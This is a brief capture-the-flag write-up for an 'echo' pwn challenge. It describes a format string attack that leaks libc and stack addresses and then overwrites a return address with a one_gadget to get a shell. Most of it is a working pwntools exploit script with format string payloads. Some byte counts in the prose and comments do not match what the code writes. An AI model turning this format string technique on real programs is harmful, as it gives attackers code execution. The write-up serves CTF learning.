There are three chances to perform format string attacks, each with an input size of 24 bytes.

Noticing that the values of the registers are returned when the program finishes, we can use this information.

In libc, the conditions for the one_gadet are as follows, which can be met:
$ one_gadget ./libc.so.6
0xe3afe execve("/bin/sh", r15, r12)
constraints:
[r15] == NULL || r15 == NULL
[r12] == NULL || r12 == NULL
0xe3b01 execve("/bin/sh", r15, rdx)
constraints:
[r15] == NULL || r15 == NULL
[rdx] == NULL || rdx == NULL
0xe3b04 execve("/bin/sh", rsi, rdx)
constraints:
[rsi] == NULL || rsi == NULL
[rdx] == NULL || rdx == NULL
For first input, it leaks the addresses of libc and the stack.
Based on the return address, we can determine the base address of libc and the stack address corresponding to the ret instruction.
Modifying the one_gadget requires 5 bytes, but since printf can modify at most 4 bytes in one go, we split the modification into two steps to write 5 bytes in total.
After modifying the address of one_gadget, a shell is obtained.
Payload:
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
# p = remote("chal.polyuctf.com", 31340)
p = process(['./echo'], env={'LD_PRELOAD': './libc.so.6'})
libc = ELF('./libc.so.6')
p.recvuntil("Tell me something:\\n")
p.sendline("%43$p%40$p")
ret = int(p.recv(14), 16) - 243 - libc.sym['__libc_start_main']
stack = int(p.recv(14), 16) - 0x100 + 0x18
success("ret => " + hex(ret))
success("stack => " + hex(stack))
# First payload to write the least significant 2 bytes
payload = "%" + str((ret + 0xe3b01) & 0xffff) + "c%10$hn"
p.sendline(payload.ljust(16, "a") + p64(stack))
# Second payload to write the next 2 bytes
payload = "%" + str(((ret + 0xe3b01) >> 16) & 0xff) + "c%10$hhn"
p.sendline(payload.ljust(16, "a") + p64(stack + 2))
p.interactive()